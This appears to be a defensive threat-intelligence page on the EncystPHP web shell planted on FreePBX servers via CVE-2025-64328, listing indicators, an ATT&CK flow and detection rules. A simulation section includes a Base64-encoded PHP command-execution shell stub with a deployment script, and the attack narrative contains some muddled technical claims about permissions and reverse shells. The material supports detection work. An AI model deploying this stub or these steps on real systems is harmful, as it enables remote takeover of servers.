EncystPHP: Weaponized FreePBX Web Shell for Persistent Admin Compromise
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
FortiGuard Labs reports a PHP web shell dubbed EncystPHP deployed on exposed FreePBX instances by exploiting CVE-2025-64328. The implant enables remote command execution, provisions privileged users, and sets layered persistence through cron jobs and follow-on droppers. Activity is linked to the INJ3CTOR3 crew and appears aimed at telecommunications environments. Published indicators include malicious IPs, domains, URLs, and multiple hostile file paths.
Investigation
Investigators traced initial access to a post-authentication command-injection flaw in FreePBX Endpoint Manager. After successful exploitation, the operator pulls a dropper from 45.234.176.202, relaxes permissions on key PHP components, extracts database credentials, creates a root-level account, and adds an attacker-controlled SSH key. Persistence is reinforced with cron entries that repeatedly fetch additional droppers and refresh artifacts. EncystPHP also impersonates legitimate FreePBX files and manipulates timestamps to reduce visibility during routine triage.
Mitigation
Patch FreePBX Endpoint Manager to address CVE-2025-64328 (and any related fixes) as soon as possible. Hunt for unauthorized web shell files, suspicious cron schedules, and newly created privileged local users. Block outbound HTTP to known malicious infrastructure and enforce strict, least-privilege permissions on web-facing directories and PHP assets.
Response
On detection, isolate the affected PBX server, remove EncystPHP artifacts, purge unauthorized cron jobs, and reset local accounts and SSH keys. Review logs and configuration backups to scope changes, then apply current security updates and harden the web interface. Validate that no secondary droppers or persistence mechanisms remain before restoring normal telephony operations.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>Exploit FreePBX endpoint manager CVE-2025-64328”] class initial_access action tool_wget[“<b>Tool</b> – <b>Name</b>: wget<br/><b>Description</b>: download files over HTTP”] class tool_wget tool process_shell[“<b>Process</b> – <b>T1059.004 Command and Scripting Interpreter: Unix Shell</b><br/>Base64-decoded bash scripts c, k.php, test.sh”] class process_shell process file_c[“<b>File</b> – c (bash script)”] class file_c file file_kphp[“<b>File</b> – k.php (PHP dropper)”] class file_kphp file file_testsh[“<b>File</b> – test.sh (bash script)”] class file_testsh file credential_access[“<b>Action</b> – <b>T1003 OS Credential Dumping</b><br/>Collected database credentials from /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>File</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Action</b> – <b>T1068 Exploitation for Privilege Escalation</b>”] class priv_esc_exploit action account_create[“<b>Action</b> – <b>T1136.001 Create Account: Local Account</b><br/>Created root-level user newfpbx with preset password hash”] class account_create action persistence_webshell[“<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Deployed EncystPHP disguised as ajax.php and config.php”] class persistence_webshell action file_ajaxphp[“<b>File</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>File</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Action</b> – <b>T1053.003 Scheduled Task/Job: Cron</b><br/>Installed cron jobs to download and execute k.php every minute”] class persistence_cron action defense_perm_mod[“<b>Action</b> – <b>T1222.002 File and Directory Permissions Modification: Linux</b><br/>Set file permissions to 000 and forged timestamps”] class defense_perm_mod action defense_masquerade[“<b>Action</b> – <b>T1036.005 Masquerading</b><br/>Placed shells in legitimate-looking locations”] class defense_masquerade action defense_indicator_removal[“<b>Action</b> – <b>T1070.004 File Deletion</b> and <b>T1070.006 Timestomp</b><br/>Deleted logs, cron entries, and modified timestamps to match legitimate files”] class defense_indicator_removal action lateral_movement_ssh[“<b>Action</b> – <b>T1021.004 Remote Services: SSH</b> and <b>T1098.004 SSH Authorized Keys</b><br/>Injected attacker public key into authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Action</b> – <b>T1105 Ingress Tool Transfer</b> and <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Fetched droppers from 45.234.176.202 using wget”] class command_and_control action impact_hijack[“<b>Action</b> – <b>T1496 Resource Hijacking</b><br/>Used PBX to place unauthorized outbound calls”] class impact_hijack action defense_impair[“<b>Action</b> – <b>T1562.001 Impair Defenses</b> and <b>T1548 Abuse Elevation Control Mechanism</b><br/>Disabled error reporting and used administrative context for system changes”] class defense_impair action %% Edges initial_access –>|uses| tool_wget tool_wget –>|downloads| file_c tool_wget –>|downloads| file_kphp tool_wget –>|downloads| file_testsh initial_access –>|leads to| process_shell process_shell –>|executes| file_c process_shell –>|executes| file_kphp process_shell –>|executes| file_testsh process_shell –>|leads to| credential_access credential_access –>|reads| file_freepbxconf credential_access –>|enables| priv_esc_exploit priv_esc_exploit –>|enables| account_create account_create –>|enables| persistence_webshell persistence_webshell –>|creates| file_ajaxphp persistence_webshell –>|creates| file_configphp persistence_webshell –>|enables| persistence_cron persistence_cron –>|creates| file_kphp persistence_cron –>|uses| tool_wget persistence_cron –>|sets| defense_perm_mod defense_perm_mod –>|supports| defense_masquerade defense_masquerade –>|supports| defense_indicator_removal persistence_webshell –>|supports| lateral_movement_ssh lateral_movement_ssh –>|enables| command_and_control command_and_control –>|provides| impact_hijack command_and_control –>|supports| defense_impair
Attack Flow
Detections
Possible New Account for Persistence [Linux] (via cmdline)
View
Cron File Was Created (via file_event)
View
Downloads to Suspicious Folders (via cmdline)
View
Possible SSH Known Hosts Discovery Attempt [MacOS] (via cmdline)
View
Possible Base64 Encoded Strings Manipulation (via cmdline)
View
IOCs (DestinationIP) to detect: Unveiling the Weaponized Web Shell EncystPHP A Persistent FreePBX Web Shell Enabling Long-Term Administrative Compromise
View
IOCs (HashSha256) to detect: Unveiling the Weaponized Web Shell EncystPHP A Persistent FreePBX Web Shell Enabling Long-Term Administrative Compromise
View
IOCs (SourceIP) to detect: Unveiling the Weaponized Web Shell EncystPHP A Persistent FreePBX Web Shell Enabling Long-Term Administrative Compromise
View
Detect Crontab Entries for Persistent Download of k.php and c Dropper [Linux Process Creation]
View
EncystPHP Web Shell Deployment and Persistence via CVE-2025-64328 [Linux Process Creation]
View
Detection of EncystPHP Web Shell Activity in FreePBX [Linux File Event]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
- Upload the EncystPHP web shell – The attacker crafts a Base64‑encoded PHP payload and delivers it via an HTTP POST to the FreePBX web UI, causing the file
ajax.phpto be written to/var/www/html/admin/views/ajax.php. - Set restrictive permissions – Immediately after deployment, the attacker runs
chmod 000 ajax.phpto hide the shell from normal users and force execution under the web server’s privileged account (T1222.002). - Delete critical configuration – To impair detection and force the system to reload with the malicious shell, the attacker removes
/etc/freepbx.conf(T1070.004, T1562.001). - Trigger the shell – A simple HTTP GET to the newly created
ajax.phpexecutes the payload, establishing a reverse shell (T1105, T1059.004).
- Upload the EncystPHP web shell – The attacker crafts a Base64‑encoded PHP payload and delivers it via an HTTP POST to the FreePBX web UI, causing the file
-
Regression Test Script: The script reproduces steps 1‑3 in a controlled test directory (
/tmp/freepbx_test) to avoid affecting a production system.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Cleanup Commands:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Test environment cleaned."